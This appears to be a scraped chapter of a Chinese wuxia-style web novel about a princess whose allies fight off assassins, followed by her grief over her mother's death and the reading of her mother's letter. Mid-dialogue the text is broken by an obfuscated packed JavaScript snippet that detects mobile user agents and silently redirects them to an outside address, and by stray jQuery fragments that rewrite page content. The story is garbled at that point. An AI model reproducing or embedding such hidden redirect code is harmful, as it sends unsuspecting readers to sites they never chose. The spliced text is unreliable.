45. 信
作品:《狂野太医,陪葬人机》 易道生头轻轻抵着易居安的后背,在晕过去的前一刻,将一封皱巴巴的信放进她怀里。
王忆看着陷入昏厥的两人,还有逐渐合围上来的那几百个杀手。
那些人虽说功力良莠不齐,但奈何人数众多,这么耗下去也不是办法。
魏征玉笛轻颤,离包围圈最近的杀手纷纷惨叫着捂住双耳。
钟馗的算盘轰然作响,算珠如流星飞射,专打敌人膝盖穴位,中招者纷纷跪地不起。
“掩护我们!”王忆拉着莹玉,把地上两个人背起来。
但那些人哪会轻易放他们走:“留下那前朝孽种,你们大可自行离开!”
“对!”
“太后要悬赏捉拿的人,我们也没有办法——”
话音未落,天上传来一道破空声。
"莫要放肆!"
砰!
一把铜秤砣砸入敌群,陆之道旋转着单臂横扫众人,秤杆如长枪般挑飞五六个杀手。
崔珏晃着勾魂笔冲在最前,大葱味的怒吼震得那帮杀手耳膜生疼:
"小犊崽子们,来尝尝崔爷爷的勾魂索命!"
笔尖划出道道红色长线,在空中形成三丈长的锁链,如灵蛇般缠住三名杀手脖颈,猛地往后一拽,三人直接倒飞撞向同伴。
然而连续作战几乎一整天的几人,还是难挡众多人的围攻。
就在四大判官的攻势稍缓之际,敌方暗藏的精锐突然从密林中杀出。
一群身着玄甲的死士挥舞着淬毒弯刀,配合着藏在袖子里的小型机关弩,攻势如潮水般涌来。
四大怕判官面对四面八方的攻击逐渐应接不暇,四人很快落入下风。
眼看着精巧的暗器就要射中莹玉背上的易居安——
忽而空中一道女声传来。
“想杀她,也要看看你们有没有那个能耐!”
林间骤起腥风!
“什么人?”
一个黑衣女人踏着碎叶残影自崖顶倒坠而下,玄色劲装猎猎作响,软剑尚未出鞘便震碎三枚破空而来的弩箭。
她足尖轻点横飞的箭矢,旋身甩出腰间九节鞭,缠绕住机关弩的绞盘,猛力一拽,一拉,一弹!
几道暗器纷纷改了原来的方向,反射回去,击中死士。
“聒噪。”
薄唇轻启间,软剑“铮”地出鞘,剑身流转的幽蓝剑芒如泥鳅般游走。
她足尖连点地面,身形化作鬼魅穿梭敌阵,软剑划出连绵不断的圆弧,所过之处,弯刀寸断、甲胄崩裂,血珠尚未滴落便被剑气绞成雾霭。
忽见一死士挥刀劈来,李姝不闪不避,软剑倏然暴涨三尺,剑脊重重磕在刀背。
借力腾空之际,她旋身甩出钢鞭缠住那人脖颈,凌空翻转几周,将其头颅重重砸进地面。
“记住了——”她单膝跪地,软剑拄地支撑身体,溅起几道血花,“她的命,我说了算!”
王忆和莹玉几人对视一眼,看着她的背影,犹豫良久,遂站出来恭敬地作了个揖:
“敢问前辈尊姓大名?”
那女人收起软剑:
“李姝。”
几人恍然大悟。
王忆松了口气:“多谢前辈救命之恩!”
“嗯,”李姝看了一眼莹玉背上的易居安,“太后悬赏价高,他们肯定不死心,还会再来。”
“走!”
……
月落日升,待此地空无一人,天净沙从空中一跃而下。
覡王跟在他身后,随之而落:“阁主,二皇子已被摩天门的人安全带回吴国。公主那边会一直放出消息,我们就有喘息的时间了。”
“嗯。”天净沙面具后的神情毫无变化,“原先那一车的蛊人被毁了,那便直接用云州的人做试材好了,成品的十分之二送给傅大人,本阁主可是很期待他能跟萧太后来场精彩的好戏。”
覡王满意地笑道:“多谢阁主慷慨。”
“无妨,”天净沙似是想起什么,“你派人放出消息,就说那前朝公主为夺云州,屠杀百姓,泯灭人性,还屡次挑拨各国外交关系。”
“还是阁主想得远,以后公主的势力必不能与二皇子相抗衡。傅怀那边也得到了消息,已经在找剩下的宝物,可要……?”觋王用手在脖子上虚划了一刀。
天净沙背着手,声音嘶哑,里面是藏不住的野心和执着:“不,现在还不是插手的时候。我养她多年,不急这一时。龙脉,快成了。”
.
易居安是被一阵馄饨的味道勾醒的。
刺眼的阳光从窗户照进来,易居安感觉浑身暖洋洋的,身上的衣服散发着阳光的味道,整个身体里的每一处毛孔都随之而伸展开来。她也不知道睡了几天,如今胃里空空,唾液分泌越来越多,她忍不住吞咽,但喉头一动,犹如刀割。
“……水。”
“公主你醒了?!”是熟悉的声音,易居安放下心来。
“我睡了多久?”
“大概两天了。”
莹玉扶她起来喂了水,她的身体还是很虚弱,只能靠在床边。随即她听到一阵急促的脚步声——
“公主!”大门直接被撞开,四大判官一个接一个地撞到门框上。
“让开——”
王忆一把将堵在门口的四个人从中间一脚踹开,从中间跌进来。
“额……小心点。”莹玉看着他们,忍不住扶额。
五个人若无其事地站起来,拍拍衣摆。
易居安这才发现他们也换了一身衣服,忍不住问一嘴:“这穿的啥呀?”
王忆抖抖衣袖:“掌柜滴!”
钟馗拿起算盘:“账房先生!”
陆之道:“采买!”
崔钰:“厨子!”
魏征:“小二!”
“嘶——”易居安小幅度地为他们鼓了个掌,“看来我不在的时候,大家的生活都过得很丰富啊!”
魏征“哎”了一声,摆摆手:“这就是之前您叫我们建的什么——?”
“安全屋。”
“对,安全屋,”魏征用力一拍大腿,“京城的是总店,其他各地都吩咐教众下去开了分店。”
易居安继续问道:“那我们现在是在那个分店?”
“仍在云州。你伤势过重,不宜长途跋涉,便派人假扮成我们,如今外面的人都以为公主您已离开云州,逃到了鄞州。”
“鄞州?”易居安疑惑道。
“是。地冥教总部便设立在鄞州,只要到了那,那各路杀手只会被我们的人团灭。”崔钰双手抱胸,略显得意地努努嘴。
“那——”易居安沉默良久,“我娘呢?”
“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580176|166731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
几人面露难色,都不知道该如何开口,他们都不太想刺激她。
王忆却觉得长痛不如短痛,将一封信递给她:
“其实,你之前已经快死了。易太医她……”王忆嘴唇嗫嚅几下,看到易居安缓缓举起双手,捂住脸,她便停住了话头,递给她一封信。
易居安却没接,王忆便只把信放在她床边,拉着其他人一起出去了。
良久,她才打算打开看看。
却听门外传来“吱呀”声。
“阿黎。”
是李姝。
易居安什么也没说,只是默默抱住了她,埋在她怀里,慢慢收紧手臂。
……
莹玉几个人偷偷躲在窗外,也不敢打扰这俩人安静的氛围。
李姝摸摸她的后脑勺:“我带你去看看她。”
尸体被存放到底下冰窖,防止腐烂。冰窖的寒气渗人刺骨,易居安难免感到略有不适。
李姝握着她微微发颤的手,易居安勉强勾起唇角:“我没事。”
尽管她心里早有准备,当白布被缓缓掀开的刹那,易居安还是有种世界轰然倒塌的感觉。
眼前的女人面色青白,嘴唇毫无血色,却仍有之前混战留下的血痕。
易居安没有出声,只是慢慢走过去,指尖悬在易道生僵冷的脸颊上方,迟迟不敢触碰,仿佛一碰,母亲就会化作飘散的尘埃。
一滴眼泪滴落在她唇边,易居安这才顺着泪滴轻轻擦掉血痕。
“……”
她喘息几声,触碰着她的脸,扒拉着她的皮肤。但无论她如何作弄她的脸,易道生都不会再露出她独有的神情。
那种看着她胡闹却又总是会配合她的无奈神情。
她和李姝靠在冰床边,坐在冰凉的地板上。
“这个结局,从十年前起回到京城的那一刻,我们就猜到了,只不过是时间早晚的问题。”李姝让她靠着自己的肩膀。
易居安低下头:“我在想,是不是不回京城就永远不会受制于人了。”
“别自责了,不论我们走到哪,终究逃不过被隐雾阁找到的命运。我和她能做的,只有尽量护你周全,”她捧起易居安的脸,像小时候一样,“现在没有哪一方会放过我们,为今之计,只有彻底除掉他,才能有一线喘息之机。”
“……也是。”易居安低下头展开信封。
这封信看起来是很早就准备好了的,信纸上都泛了黄色。
【安安亲启。】
这封信篇幅简短,亦无堆砌的抒情与叮咛,可她仍逐字逐句细细读来。
【……浮生若寄,若能长作市井蓬门客,守一簟粗茶、半亩方塘,倒也不失为人间至幸。奈何红尘十丈,辗转经年,终是困于天净沙棋盘之上,你我皆为局中落子,纵有千般谋划,不过随了他人手谈之势。】
【莫怨我往昔严词训诫之严,然世道艰险甚于虎狼,我纵有千般不忍,亦不得不狠下心肠。萧太后、傅怀非最需防者,最险乃天净沙也,他要找的是你。筹谋数载,我亦难尽知其计。然驱虎吞狼之策,或可破此局。不论如何,一定要活着,活着才能谈希望。】
【往后山高水长,娘再不能时时为你镇守朝廷后方,唯愿你步步谨慎、岁岁无恙。】
“……驱虎吞狼,”易居安攥紧信纸,“等我。”